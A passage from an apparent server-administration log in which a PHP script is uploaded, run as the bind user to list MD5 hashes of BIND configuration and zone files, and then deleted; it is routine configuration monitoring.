MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:07:30: Establishing a connection
2026-07-15 13:07:31: 

PUT: /tmp/pkp282732

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:07:31: 

runuser -l bind -s /bin/bash -c '/tmp/pkp282732; rm /tmp/pkp282732'

2026-07-15 13:07:31: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:07:33: Establishing a connection
2026-07-15 13:07:33: 

PUT: /tmp/pkp676885

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:07:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp676885; rm /tmp/pkp676885'

2026-07-15 13:07:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
